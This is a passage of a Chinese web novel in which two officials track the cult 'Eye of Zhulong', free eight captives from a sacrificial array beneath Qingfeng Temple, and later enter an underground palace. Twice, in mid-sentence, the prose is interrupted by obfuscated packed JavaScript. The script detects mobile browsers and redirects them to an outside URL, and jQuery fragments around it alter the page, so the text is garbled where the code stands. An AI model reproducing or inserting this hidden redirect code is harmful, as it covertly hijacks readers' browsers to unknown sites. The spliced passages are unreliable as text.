“是内鬼，”谢云辞肯定地说，“能在刑部侍郎的值房下毒而不留痕迹，一定是内部的人。” 江清砚点头，想起今天在刑部，陈文远“告病”的事。如果那时他已经中毒了呢？ “明天去刑部，我会重点查陈文远昨天见过什么人，吃过什么东西。”他说。 寅时三刻，天还未亮，两人就各自准备。江清砚换上官服，谢云辞则换上了一身不起眼的灰色布衣，易容成一个普通商贩的模样。 “我送你到刑部门口，”谢云辞说，“然后会在街对面的茶摊守着。” “好。” 晨雾弥漫，街上的行人还不多。马车在刑部门口停下时，江清砚忽然想起什么，从袖中取出一枚铜钱，递给谢云辞:“这个你拿着。” 谢云辞接过，正是之前从刺客住处找到的那枚，边缘刻着眼睛图腾的铜钱。 “这是……” “如果我遇到危险，出不来，你就带着这枚铜钱，去城东的‘聚宝当铺’，找掌柜的，”江清砚的声音很低，“那是我父亲生前安排的后手。掌柜的姓金，见到这枚铜钱，会帮你。” 谢云辞紧紧握住铜钱，感觉那冰冷的金属几乎要嵌进掌心:“你不会有事。我保证。” 江清砚笑了，笑容清浅却坚定:“我相信你。” 他转身下轿，走向刑部衙门。晨光中，那身青色官服的身影挺拔如竹，一步一步，沉稳而坚定。 谢云辞目送他进去，直到大门关上，才转身走向街对面的茶摊。他找了个角落的位置坐下，要了一壶茶，眼睛却始终没有离开刑部的大门。 刑部里，江清砚径直走向案牍库。守库的老吏认识他，见他这么早来，有些惊讶:“江郎中，您这是……” “调陈侍郎案的卷宗，”江清砚出示了自己的令牌，“还有，他昨天经手过的所有案卷，我都要看。” “这……”老吏犹豫，“陈侍郎的案子，周尚书吩咐了，要等他亲自处理……” “周尚书那里我会去说，”江清砚神色平静，“现在，我需要这些卷宗。人命关天，耽搁不起。” 老吏看着他清澈而坚定的眼神，最终妥协:“您稍等，我这就去找。” 片刻后，几大摞卷宗被搬到了旁边的阅卷室。江清砚关上门，开始翻阅。 最上面的是陈文远案的现场记录和验尸报告，和他昨晚看到的差不多。下面是陈文远昨天处理的公务——大多是些日常的批文，没什么特别的。 但翻到第三摞时，江清砚的手顿住了。 这是一份关于“江南盐税案证人保护记录”的卷宗，记录着朝廷派去保护关键证人的安排。而最后一页，有一个用红笔做的标记，旁边是陈文远的签名和日期——就是昨天。 标记的位置，是一个证人的名字:赵四，原扬州盐运司书吏。 这个证人，昨天应该被转移到安全地点。但卷宗里没有转移后的记录。 江清砚的心跳加速。他继续翻找，又找到一份“证人名单及安置地点”的密档。上面列着十七个证人的名字和安置地点，其中十六个都有详细的记录，唯独赵四那一栏是空的。 空栏旁边，有一个小小的符号——一枚铜钱的简笔画。 铜钱！ 江清砚立刻想到自己给谢云辞的那枚。难道这枚铜钱不仅是信物，还是某种……密码？ 他仔细看那个符号，发现铜钱的方孔位置，点了一个极小的点。他拿来纸笔，将铜钱的图案画下来，然后在方孔处标上那个点。 如果这是一个坐标…… 江清砚拿出京城地图，将铜钱图案按比例放大，覆盖在地图上。铜钱的边缘正好对应城墙，而那个点，指向的位置是—— 城北，清风观！ 赵四被转移到了清风观？或者说……被带到了清风观？ 江清砚感到一股寒意。清风观，又是清风观。那些富商失踪前去过的地方，现在连盐税案的关键证人也被带到了那里。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863526|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个道观，到底藏着什么秘密？ 他迅速将卷宗整理好，正要出门去找周尚书，门却从外面被推开了。 进来的是林远，那个昨天给他送卷宗的年轻主事。林远的神色有些慌张，见江清砚在，明显一愣:“江、江郎中，您怎么在这里？” “查案，”江清砚不动声色，“林主事有事？” “周尚书让我来取陈侍郎案的卷宗，”林远避开他的目光，“说他要亲自复核。” “正好，我也要去见尚书大人，”江清砚抱起那摞卷宗，“一起吧。” “这……”林远犹豫了一下，最终点头，“好。” 两人一前一后走向周尚书的值房。途中，江清砚注意到林远的手指一直在无意识地摩挲着袖口，显然很紧张。 快到值时，林远忽然低声说:“江郎中，陈侍郎他……死得蹊跷。您查案时，千万小心。” 江清砚看了他一眼:“林主事知道什么？” 林远张了张嘴，似乎想说什么，但最终只是摇头:“下官什么都不知道。只是……提醒您一句。” 说完，他加快脚步，走到了前面。 江清砚看着他的背影，心中疑窦丛生。这个林远，到底是谁的人？ 周尚书的值房里，气氛凝重。周文渊显然一夜未睡，眼中有血丝，但神色依旧镇定。见到江清砚抱着卷宗进来，他示意林远出去，然后关上了门。 “江郎中，你查到什么了？”周文渊开门见山。 江清砚将铜钱符号和清风观的发现说了，周文渊的脸色越来越沉。 “清风观……”他喃喃道，“三年前，那里曾经申请扩建，但工部驳回了，理由是‘地脉不稳，不宜动土’。当时负责审核的，就是陈文远。” “地脉不稳？”江清砚想起八芒星阵需要灵脉节点的说法。 “对，”周文渊走到书架前，取出一份工部的旧档案，“你看这个。” 档案里是一份风水勘测报告，说清风观所在地是“阴煞汇聚之处，地气紊乱，不宜居住，更不宜修建道观”。但奇怪的是，清风观明明已经存在了上百年。 “这份报告是二十年前的，”周文渊说，“但清风观的历史，可以追溯到前朝。如果那里真的不宜修建，为什么能存在这么久？” 江清砚心中一动:“除非……那里原本就是故意选在阴煞之地的。就像慈恩寺，建在古战场遗址上一样。” 周文渊看着他，眼中闪过一丝赞赏:“你果然聪明。没错，慈恩寺和清风观，都是前朝‘烛龙教’的据点。本朝建立后，这些地方被改为佛寺道观，但很可能……一直没真正改过来。” 烛龙教，烛龙之眼。 一切都串联起来了。 “所以清风观现在，很可能就是‘烛龙之眼’的一个重要据点，”江清砚分析，“那些富商被带去那里，盐税案的证人也被带到那里。而陈文远，因为审核过扩建申请，知道了些什么，所以被灭口了。” “那接下来，他们想做什么？”周文渊问。 江清砚将八芒星阵的推测说了。周文渊听完，沉默了很久。 “如果真是这样，那他们的目标，可能不止是复活或召唤什么，”周文渊的声音低沉，“八芒星阵逆转生死，需要的能量极大。八个特定血脉的人献祭，可能只是第一步。” “还有第二步？” 周文渊走到窗边，看着外面的天空:“古籍记载，逆转生死是大逆不道之举，必遭天谴。但如果……用龙气镇之呢？” 龙气？ 江清砚猛然想起，八芒星的中心是京城，而京城是皇城所在，有天子龙气镇守。 “您的意思是……他们想用天子龙气，来抵消天谴？” “不止，”周文渊回头看他，眼中是前所未有的凝重，“他们可能想……借龙气，完成某种更可怕的仪式。” 话音未落，门外突然传来急促的敲门声。 “尚书大人！江郎中！出事了！” 是林远的声音，带着惊恐。 周文渊和江清砚对视一眼，同时冲向门口。 门开了，林远脸色煞白，指着外面:“刚、刚才有人送来一封信，说……说如果不想清风观里的人死，就让江郎中一个人去……” 清风观里有人？ 江清砚接过信，上面只有一行字: “午时三刻，清风观，独自前来。过时，八人皆亡。” 落款处，画着一只燃烧的眼睛。 八个人……是那七个富商，还有赵四？ 或者……还有别人？ 江清砚看了一眼窗外的日头——已经快午时了。 “你不能去，”周文渊立刻说，“这是陷阱。” “我知道，”江清砚将信折好，放入怀中，“但必须去。” “江清砚！” “周尚书，”江清砚看着他，眼神清澈而坚定，“如果我不去，那八个人会死。而且……这是抓住他们尾巴的最好机会。” 他顿了顿，补充道:“我会小心的。而且……我不是一个人。” 周文渊明白了他的意思——谢云辞在外面。 “好，”周文渊最终点头，“但你要答应我，一旦有危险，立刻撤出。我会调集刑部的人手，在清风观外围接应。” “谢尚书。” 江清砚行礼，转身快步走出值房。 午时的阳光刺眼，但他的心却异常冷静。 清风观，终于要去了。 51. 第 51 章 第五十一章道观探秘 午时的京城，秋阳高悬。 江清砚走出刑部衙门时，街对面的茶摊已经换了人——一个卖糖葫芦的小贩正扯着嗓子吆喝。他扫了一眼，没看到谢云辞，但注意到小贩在看到他时，微不可察地点了点头。 是谢云辞的人。 江清砚放心了些，雇了一辆不起眼的青布马车，吩咐车夫:“去城北清风观。” 马车缓缓驶动，车轮碾过青石板路，发出单调的声响。江清砚坐在车厢里，闭目凝神，感受着心脉处的青木生机——虽然还未完全恢复，但足以应对一般的突发状况。袖中的匕首和几包应急的毒粉、解药都已备好。 约莫一刻钟后，马车停下。车夫在外头说:“郎君，清风观到了。不过这里看着……怪冷清的。” 江清砚掀开车帘。清风观确实很冷清，甚至可以说是荒凉。观门是破旧的黑漆木门，油漆剥落得厉害；门楣上“清风观”三个字的牌匾歪斜着，蒙着厚厚的灰尘。门前的石阶长满青苔，一看就少有人来。 但江清砚注意到，门前的青苔上有几道新鲜的脚印——不止一个人的。 他付了车钱，等马车走远，才走向观门。推开门时，吱呀声在寂静中格外刺耳。 观内是个不大的院子，正中是个香炉，炉里没有香火，积满了雨水和落叶。两侧是厢房，门窗紧闭。正对着的是三清殿，殿门虚掩着，里面黑漆漆的，看不清状况。 没有香客，没有道士，甚至没有鸟鸣。整座道观静得诡异。 “有人吗？”江清砚扬声问。 无人应答。 他握紧袖中的匕首，缓步走向三清殿。推开殿门的瞬间，一股陈腐的香灰味扑面而来。殿内光线昏暗，三清神像的漆金已经剥落大半，供桌上的蜡烛早已燃尽，烛泪凝固成丑陋的形状。 但江清砚的目光落在了供桌下方——那里有一块地砖的边缘，颜色比旁边的略浅。 他走过去，蹲下身仔细查看。地砖的边缘有磨损的痕迹，像是经常被挪动。他伸手推了推，地砖微微松动。 是暗道。 江清砚没有立刻打开，而是先检查了周围。殿内没有其他人，但他在香炉的灰烬里，发现了一小片未燃尽的符纸——纸上画着一只眼睛，和信上的一模一样。 果然是这里。 他回到地砖处，用力推开。地砖下露出一个黑洞洞的入口，一道石阶蜿蜒向下，深不见底。有微弱的风从下面吹上来，带着一股潮湿的泥土味和……隐隐的血腥味。 江清砚的心沉了下去。那八个人，很可能就在下面。 他从怀中取出火折子吹亮，一手握匕首，一手持火折，踏上了石阶。 石阶很陡，向下延伸了约莫三丈深，然后是一条狭窄的通道。通道两侧是粗糙的石壁，壁上每隔一段就有一个灯座，但灯油已经干涸。火折的光只能照亮眼前一小片区域，更深处是一片漆黑。 走了大约五十步，通道开始转弯。江清砚屏住呼吸，放轻脚步。转过弯后，前方豁然开朗——是一个天然的石室，有半个三清殿那么大。 石室中央，八个人被铁链锁在石柱上。正是名单上的七个富商，还有一个穿着粗布衣服、瘦骨嶙峋的中年男人，应该就是盐税案的证人赵四。 八个人都昏迷着，脸色灰败，但还有呼吸。 江清砚正要上前查看，忽然听到身后传来轻微的响动。他猛地回头，火光照亮的范围内空无一人，但那声音…… “江郎中果然守信。” 一个嘶哑的声音从黑暗中传来。紧接着，石室四角的灯盏同时亮起——不是点燃的，而是某种发光的石头，散发出幽绿的光，将整个石室映照得如同鬼蜮。 从阴影中走出三个人。为首的是个身穿灰色道袍的老道，面容枯槁，眼神却异常锐利；左侧是个中年妇人，穿着朴素的布裙，但手上戴着一枚玉扳指，显然身份不一般；右侧是个年轻人，江清砚认识——正是刑部的林远！ 林远看到江清砚，眼神躲闪，不敢与他对视。 “林主事，”江清砚声音平静，“原来你也是‘烛龙之眼’的人。” 林远嘴唇动了动，没说话。 老道却笑了，笑声嘶哑难听:“江郎中好眼力。不过现在才看出来，已经晚了。” “你们想做什么？”江清砚一边问，一边不动声色地观察着周围。石室只有他进来的那条通道，但对方三人能悄无声息地出现，肯定还有其他出口。 “献祭，”老道直截了当，“用这八个人的血脉，完成八芒星阵的最后一环。而你……”他盯着江清砚，眼中闪过贪婪，“江家的血脉，青木生机，是最好的祭品引子。” 江清砚心中冷笑。果然是为了他的血脉。 “既然我来了，放了他们。”他说。 “放了他们？”中年妇人开口，声音冰冷，“江郎中，你未免太天真了。这八个人，每个都是精心挑选的‘引’，少了任何一个，阵法都无法完成。” “那你们想要我如何？” “很简单，”老道从袖中取出一把匕首，扔到江清砚脚前，“用这把匕首，刺入你的心口，取三滴心头血。你的青木生机会自动修复伤口，不会要你的命。用这三滴血作为引子，启动阵法后，我们就放了这八个人。” 江清砚看着地上的匕首。匕首很普通，但刃口泛着诡异的蓝光——涂了毒，而且是专门针对青木生机的毒。 一旦刺入，青木生机可能真的无法修复。 “我凭什么信你们？”他问。 “你只能信，”老道的声音冷了下来，“否则，这八个人现在就得死。你每拖延一刻钟，我们就杀一个人。” 话音未落，中年妇人已经走到一个富商身边，手中多了一把短刀，抵在那人的喉咙上。 江清砚的呼吸急促起来。八条人命…… “好，”他弯腰捡起匕首，“我答应。但你们要先放了赵四，他是盐税案的证人，与你们的阵法无关。” 老道和中年妇人对视一眼，似乎在交流什么。片刻后，老道点头:“可以。林远，去放了赵四。” 林远走到赵四身边，解开铁链。赵四软软地倒在地上，依旧昏迷不醒。 “现在，该你了。”老道盯着江清砚。 江清砚握紧匕首，缓缓抬起，对准自己的心口。他的动作很慢，像是在犹豫，实际上是在拖延时间——谢云辞应该已经在外面了，他需要制造机会。 就在这时，异变突生！ 石室顶部的阴影中，突然射下三支弩箭，直取老道、中年妇人和林远！同时，江清砚身后的通道里传来急促的脚步声——谢云辞带着人冲了进来！ “动手！”谢云辞厉喝。 六扇门的高手如狼似虎般扑向三人。老道反应极快，身形暴退，同时甩出一把毒粉；中年妇人则与冲在最前的捕快战在一起；林远却愣在原地，被两个捕快轻易制住。 江清砚没有参与战斗，而是迅速冲到那七个富商身边，检查他们的状况。八个人都被下了药，昏迷不醒，但暂时没有生命危险。他取出随身携带的解毒丸，挨个塞进他们嘴里——不能完全解毒，但能暂时护住心脉。 “清砚，带他们走！”谢云辞一边与老道交手，一边喊道。 通道里又冲进来几个捕快，帮着江清砚解开铁链，背起昏迷的人往外撤。但就在这时，石室突然震动起来！ “晚了！”老道狂笑，“阵法已经启动了！” 石室的地面上，突然亮起一道道血色的纹路——那是一个巨大的八芒星阵！八个石柱正好在阵法的八个角上，而阵法的中心，正是江清砚刚才站的位置！ 那些血色纹路像是活过来一般，开始向中心汇聚。而被背出去的七个富商，突然全都睁开眼睛，眼中是一片诡异的血红！ “不好！”江清砚意识到不对，“他们被控制了！” 七个富商猛地挣脱捕快的搀扶，如同提线木偶般僵硬地走回石室，重新站到各自的石柱位置。而阵法的中心，血色纹路已经汇聚成一个漩涡，散发出恐怖的吸力！ “献祭开始！”老道的声音在震荡的石室中回荡，“以八人之血，开幽冥之门！” 八个富商同时用指甲划破自己的手腕，鲜血滴落，被地面的阵法迅速吸收。阵法的血色光芒越来越盛，那个漩涡开始扩大，里面传出令人毛骨悚然的嘶吼声，像是有什么东西要爬出来。 谢云辞想要冲过去破坏阵法，但被中年妇人死死缠住。其他捕快也被突然暴起的富商们挡住——这些被控制的人力大无穷，完全不顾自身安危，只攻不守，一时间竟拦住了所有人。 江清砚站在通道口，看着那个越来越大的血色漩涡，脑中飞快运转。八芒星阵，逆转生死，开幽冥之门……如果真让里面的东西出来，后果不堪设想。 他想起《星相阵法考》中的记载:八芒星阵一旦启动，极难中断，除非…… 除非用更强的生机，强行冲散阵法的死气！ 更强的生机……青木生机完全觉醒？ 江清砚的心一横。他看向谢云辞，后者正与中年妇人激战，肩头已经受了伤，但眼神依旧坚定。两人的目光在空中交汇，瞬间明白了对方的意思。 谢云辞突然暴起，一刀逼退中年妇人，同时甩出三枚袖箭射向老道。老道不得不分神躲避，阵法的光芒微微一滞。 就是现在！ 江清砚冲向阵法中心。老道发现他的意图，厉声喝道:“拦住他！” 中年妇人想要阻拦，却被谢云辞死死缠住。其他被控制的富商也扑向江清砚，但江清砚的身形忽然变得飘忽不定——他将青木生机催动到极致，速度、反应都提升了一个层次，险之又险地避开了所有拦截。 冲到阵法中心时，血色漩涡已经扩大到一人多高，里面的嘶吼声几乎震耳欲聋。江清砚能感觉到，那里面的东西充满了怨毒和渴望，一旦出来，必将生灵涂炭。 他不再犹豫，咬破舌尖，以血为引，双手结印，将全部的青木生机灌注进脚下的阵法！ “以我生机，镇汝死气——破！” 青色的光芒从他身上爆发，如同初春的第一缕阳光，温柔却不容抗拒地冲向血色漩涡。两股力量相撞，发出恐怖的轰鸣声，整个石室剧烈震动，碎石纷纷落下。 老道脸色大变:“你疯了！强行中断阵法，你会被反噬而死的！” 江清砚没有理会。他能感觉到青木生机正在迅速消耗，心脉处传来撕裂般的剧痛，但他不能停。八个富商的眼中，血色开始褪去，渐渐恢复了清明；地面的血色纹路也在青光的冲击下寸寸断裂。 但漩涡里的东西不甘心，它嘶吼着，挣扎着，想要冲破最后一点封印。 就在江清砚感到力竭时，一股温暖的力量从背后传来——谢云辞的手按在了他的背上，将自己的内力毫无保留地渡了过去。 “我们一起。”谢云辞的声音坚定。 两人的力量合二为一，青光大盛，终于将血色漩涡彻底冲散！ “轰——！” 一声巨响，阵法炸裂，血色纹路 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江清砚靠在谢云辞怀里，脸色苍白如纸，嘴角渗出血丝——强行催动青木生机中断阵法，让他受了不轻的内伤。但他顾不上自己，急声问:“那八个人……” “都没事，只是昏迷，”谢云辞检查了他的脉搏，眉头紧皱，“你的伤更重。必须立刻回去疗伤。” “林远呢？” “抓住了，已经押回六扇门了。”谢云辞看着怀里的江清砚，眼中满是心疼和后怕，“你太乱来了。如果不是我及时赶到……” “我知道你会来，”江清砚虚弱地笑了笑，“所以才敢放手一搏。” 谢云辞叹了口气，将人打横抱起:“别说话了，我们回去。” “等等，”江清砚忽然想起什么，“那个暗门……他们逃去哪里了？” 一个捕快上前禀报:“大人，暗门通向一条地下河，我们追到河边就断了线索。他们可能坐船走了。” 地下河……江清砚想起京城地下确实有古河道。这些人对地形的熟悉，超出了他们的预料。 “先回去吧，”谢云辞道，“从长计议。” 一行人离开了已成废墟的清风观。走出观门时，江清砚回头看了一眼——这座存在了上百年的道观，就这样毁了。但毁掉的只是建筑，“烛龙之眼”这个组织，依然藏在暗处。 回到谢府时，已是傍晚。 谢云辞亲自为江清砚疗伤。青木生机虽然受损，但根基未毁，在谢云辞内力的温养下，正在缓慢恢复。太医来看过后，开了方子，叮嘱必须静养半个月，绝不能再动用内力。 江清砚靠在床头，看着窗外渐暗的天色，忽然道:“林远……会说出多少？” “已经在审了，”谢云辞端来药碗，“但他是小角色，知道的不多。真正关键的，是那个老道和中年妇人。” “查到他们的身份了吗？” “老道是清风观的观主，道号‘清风子’，在观中待了三十年。中年妇人……”谢云辞顿了顿，“是慈恩寺那个失踪方丈的妹妹。” 江清砚一怔。慈恩寺方丈的妹妹？难怪两人能分别掌控慈恩寺和清风观这两个据点。 “还有，”谢云辞的神色凝重起来，“从林远的初步供词看，‘烛龙之眼’在朝中的渗透，比我们想象的更深。六部之中，都有他们的人。” 江清砚的心沉了下去。如果连六部都被渗透，那这个组织的势力，恐怕真的到了可以动摇国本的地步。 “陛下知道了吗？” “我已经密奏了，”谢云辞喂他喝药，“陛下的意思是……暂时按兵不动，暗中调查，等摸清了所有脉络，再一网打尽。” “那八个富商和赵四呢？” “都安顿好了，派人保护着，”谢云辞放下药碗，“赵四已经醒了，但吓得不轻，说话颠三倒四的。不过从他断断续续的供词里，我们确认了一件事——江南盐税亏空的那三十万两，确实流向了‘烛龙之眼’，被他们用来购买物资、收买官员、还有……修建地下工事。” “地下工事？” “对，”谢云辞压低声音，“赵四说，他在被关押期间，隐约听到老道和中年妇人提起什么‘地宫’‘祭坛’‘龙脉节点’。他们可能在京城地下，修建了不止一处据点。” 京城地下…… 江清砚想起那条地下河，还有慈恩寺地下的溶洞。如果“烛龙之眼”真的在京城地下修建了一个庞大的网络，那他们的图谋，恐怕比想象的更可怕。 窗外，夜色已深。 谢云辞吹灭了多余的蜡烛，只留床前的一盏:“睡吧。今天太累了。” “你也休息。”江清砚看着他肩头的伤——已经重新包扎过，但纱布上还渗着血。 “我等你睡着。”谢云辞在床边坐下。 江清砚确实累了，闭上眼睛，很快就陷入了半睡半醒的状态。朦胧中，他感觉到谢云辞轻轻握住了他的手，温暖而坚定。 “我会保护你的，”谢云辞的声音很轻，像是在自言自语，“无论面对什么，我都会保护你。” 江清砚想说什么，但意识已经沉入了黑暗。 这一夜，他做了很多梦。梦见父母在大火中呼喊，梦见密室里的黑暗，梦见金銮殿上的刀光，梦见清风观的血色漩涡……最后，所有的梦境都汇聚成一个画面—— 谢云辞挡在他身前，背脊挺直，如同不可逾越的山岳。 他忽然觉得，只要有这个人在身边，再黑暗的路，也能走下去。 窗外，秋月如钩。 长夜漫漫，但黎明总会到来。 52. 第 52 章 第五十二章夜探道观 夜深人静，谢府书房内烛火通明。 江清砚靠在软榻上，肩头披着谢云辞的墨色外袍，手中摊着一卷刚送来的密报——是六扇门连夜审讯林远的记录。谢云辞坐在他对面，正用布巾擦拭绣春刀的刀身，刀光在烛火下泛着寒芒。 “林远招了，”江清砚放下密报，声音有些沙哑，“他说自己是三年前被‘烛龙之眼’胁迫加入的。他弟弟得了怪病，需要一种罕见的药材，只有‘烛龙之眼’能提供。” “借口。”谢云辞冷冷道，刀锋划过布巾，发出轻微的嘶声。 “也许，但至少说出了些有用的东西，”江清砚揉了揉眉心，青木生机受损带来的疲惫感还未完全消退，“他说清风观的地下，不止我们看到的那个石室。那里有更深的通道，通往一个被称为‘地宫’的地方。” “地宫？”谢云辞停下擦拭的动作。 “对，据说是前朝‘烛龙教’修建的祭祀场所，后来被废弃，但‘烛龙之眼’这几年一直在暗中修复，”江清砚看向谢云辞，“林远说，地宫里供奉着‘烛龙之眼’的圣物，也是他们仪式的核心。” 谢云辞的眼中闪过一丝锐利:“圣物？是什么？” “他没资格进地宫，不清楚具体是什么，”江清砚摇头，“但他见过进出地宫的人——除了清风子和那个中年妇人，还有一个……太监。” “太监？”谢云辞猛地抬头。 “嗯，五十多岁，面白无须，说话尖细，但林远没看清长相，”江清砚顿了顿，“他说那太监的气度，不像是普通的内侍，倒像是……宫里有些地位的人。” 书房内的空气骤然凝固。 如果“烛龙之眼”真的渗透到了宫中，甚至可能有太监是他们的高层，那这个组织的威胁，就不仅仅是江湖邪教那么简单了。 “还有，”江清砚继续道，“林远供出了一个名字——‘玄机道人’。说此人是‘烛龙之眼’在京城的总联络人，所有的命令都是通过他下达的。但没人见过他的真面目，他总是戴着面具，声音也经过伪装。” 玄机道人…… 谢云辞将绣春刀归鞘，站起身走到窗边，看着外面沉沉的夜色:“清风观被毁，他们肯定会转移据点。要找到这个玄机道人，就得抓紧时间。” “你的意思是……” “夜探道观，”谢云辞回头，眼中闪着决断的光芒，“趁他们还没完全撤走，找到通往地宫的入口。” “太危险了，”江清砚蹙眉，“清风观刚塌，他们肯定加强了戒备。而且你的伤……” “皮肉伤，不碍事，”谢云辞走回软榻边，俯身看着江清砚，“你留在这里，我带上几个好手去。” “不行，”江清砚摇头，“我对阵法机关了解比你多，地宫里很可能有这些东西。而且……”他看着谢云辞肩头渗血的纱布，“你受伤了，需要有人照应。” 谢云辞还想说什么，江清砚已经起身，走到书架前取下一卷图纸:“这是工部存档的京城地下河道图。如果清风观真有地宫，很可能会利用古河道作为通道。我们得先研究清楚路线。” 谢云辞看着他坚定的侧脸，知道劝不住，最终叹了口气:“好，一起去。但你必须答应我，一旦有危险，立刻撤出。” “成交。” 两人开始研究地图。京城的地下河道系统很复杂，是前朝修建的排水系统，后来部分被废弃，成了隐秘的地下通道。清风观所在的位置，恰好有一条古河道的支流经过。 “如果地宫是利用古河道修建的，那入口可能不止一个，”江清砚指着地图上的几个标记点，“除了清风观，慈恩寺、城西土地庙，还有这几处废弃的宅院，都可能隐藏着入口。” “但最可能的还是清风观，”谢云辞道，“那里是他们经营多年的据点，地宫的核心应该就在下面。” 两人商量了详细的计划，决定子时出发。谢云辞去调集人手，江清砚则准备可能用到的物品——解毒丸、伤药、火折、绳索，还有几包特制的毒粉和迷烟。 戌时三刻，一切准备就绪。谢云辞挑了六个最可靠的亲卫，都是六扇门的好手，擅长潜行和暗杀。七个人全部换上夜行衣，蒙面，只露出眼睛。 “大人，都准备好了，”为首的亲卫叫陈七，是个精瘦的中年人，眼神锐利如鹰，“外围已经安排了接应的人手，一旦有变，会立刻支援。” “好，”谢云辞点头，看向江清砚，“走吧。” 夜色如墨，月隐星稀。 八道黑影悄无声息地穿过街巷，如同融入夜色的鬼魅。避开巡夜的更夫和士兵，两刻钟后，他们来到了清风观外围。 观已成废墟，断壁残垣在夜色中如同巨兽的骨骸。但废墟周围，却异常安静——连虫鸣都没有。这是一种危险的信号，说明附近有人，而且不少。 谢云辞打了个手势，陈七带着两个人先摸了过去。片刻后，陈七返回，低声道:“大人，废墟周围有暗哨，八个方位各有一人，都是好手。” “能解决吗？”谢云辞问。 “可以，但需要时间，而且不能保证不惊动里面的人。” 江清砚忽然开口:“用迷烟。我带了‘醉清风’，随风扩散，半刻钟内能让方圆三十丈内的人昏睡两个时辰。” 谢云辞看了他一眼:“你准备得倒是周全。” “习惯了。”江清砚从怀中取出几个小竹管，分给陈七等人，“上风处点燃，等半刻钟再进去。” 陈七领命而去。半刻钟后，谢云辞打了个手势，众人悄无声息地潜入废墟。 果然，暗哨都倒在了隐蔽处，陷入沉睡。江清砚检查了一个暗哨的脉搏，确认只是昏迷，便示意继续前进。 废墟中央，三清殿的残骸下，那个暗道入口还在，但被落下的梁柱和瓦砾半掩着。陈七带人清理出一个仅容一人通过的缝隙。 “我先进，”谢云辞低声道，“陈七，你殿后。其他人中间保护江郎中。” “是。” 谢云辞率先钻入缝隙，江清砚紧随其后。暗道里比白天时更黑，更压抑。火折的光只能照亮前方几步，空气中弥漫着灰尘和血腥的混合气味。 走了约莫五十步，来到了白天那个坍塌的石室前。石室已经完全被埋，通道也被堵了大半，但谢云辞在石壁上摸索了一会儿，找到了一处松动的砖块。 按下砖块，旁边一块石壁悄无声息地滑开，露出另一条通道——比之前的更窄，更陡峭，一直向下延伸。 “果然有暗门。”谢云辞示意众人跟上。 这条通道明显是新近开凿的，石壁上还有凿痕。走了约莫一百步，前方传来潺潺水声——是地下河。 通道尽头是一个天然溶洞，一条暗河从中穿过。河面不宽，约两丈，水流平缓，水色漆黑如墨，在火折的照耀下泛着诡异的光。 “大人，这里有船。”陈七在河边发现了一条小木船，船上还有桨。 谢云辞检查了船，确认没有机关，率先上船:“上船，顺着水流走。” 八个人分乘两条船，顺流而下。暗河蜿蜒曲折，两侧石壁上偶尔能看到人工开凿的痕迹，甚至有几处地方还嵌着发光的石头，提供微弱的光线。 划了约莫一刻钟，前方豁然开朗——河道汇入一个巨大的地下湖泊。湖中央，一座石砌建筑矗立在水面上，如同一座水上宫殿。 那就是地宫。 地宫不大，但建筑精美，飞檐斗拱，雕梁画栋，完全不像地下建筑。宫殿四周有石桥与岸边相连，但桥上都有守卫——不是活人，而是一具具穿着盔甲的骷髅，手持长矛，静静地站立着。 “那是……”江清砚瞳孔一缩。 “傀儡兵，”谢云辞的声音凝重，“前朝秘术，用机关驱动尸骸作战。没想到‘烛龙之眼’连这个都会。” 两条船在岸边停下。众人上岸，隐藏在暗处观察。 地宫的大门紧闭，门上雕刻着一只巨大的眼睛图案，瞳孔处是两个凹槽，形状奇特，似乎需要什么钥匙才能打开。 “那是……”江清砚盯着那两个凹槽的形状，忽然想起什么，从怀中取出青木玉佩，“其中一个，好像能对上。” 他将玉佩按在左侧凹槽上，严丝合缝。 “需要两把钥匙，”谢云辞明白了，“另一把，应该是谢家的玄铁兵符。” 难怪“烛龙之眼”千方百计要得到这两样东西。没有钥匙，他们进不了地宫的核心。 “现在怎么办？”陈七低声问。 谢云辞沉思片刻:“既然来了，就不能空手而回。地宫肯定有其他入口，或者……” 他的话还没说完，地宫的大门突然缓缓打开了！ 不是有人从里面打开，而是自动开启。门内一片漆黑，仿佛一张巨口，等待着吞噬进入者。 “陷阱？”江清砚警惕地说。 “可能是，但也可能是机会，”谢云辞握紧刀柄，“来都来了，进去看看。陈七，你带两个人守在外面，其余人跟我进去。” “大人，太危险了！” “执行命令。” 陈七无奈，只能点头。 谢云辞和江清砚带着另外三个亲卫，小心翼翼地走向大门。走过那些傀儡兵时，江清砚注意到，这些骷髅的眼窝里，都镶嵌着那种发光的石头，散发出幽绿的光，如同活物的眼睛。 踏入大门，是一条长长的甬道。甬道两侧的墙壁上雕刻着壁画，描绘着古老的祭祀场景:人们跪拜在一只巨大的眼睛前，献上祭品；眼睛中射出光芒，笼罩着跪拜者；然后那些人就……变成了怪物？ 江清砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863528|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仔细看那些壁画，越看越心惊。这似乎是在描述某种“恩赐”——将人改造成更强大的存在，但代价是失去自我，成为眼睛的奴仆。 “这是邪术，”谢云辞冷声道，“前朝灭亡，和这种邪术脱不了干系。” 走到甬道尽头，是一个巨大的圆形殿堂。殿堂中央是一个祭坛，坛上供奉着一尊雕像——不是神佛，而是一只巨大的眼睛，由某种黑色玉石雕成，瞳孔处镶嵌着一颗血红色的宝石，在黑暗中散发着妖异的光芒。 而祭坛前，站着一个人。 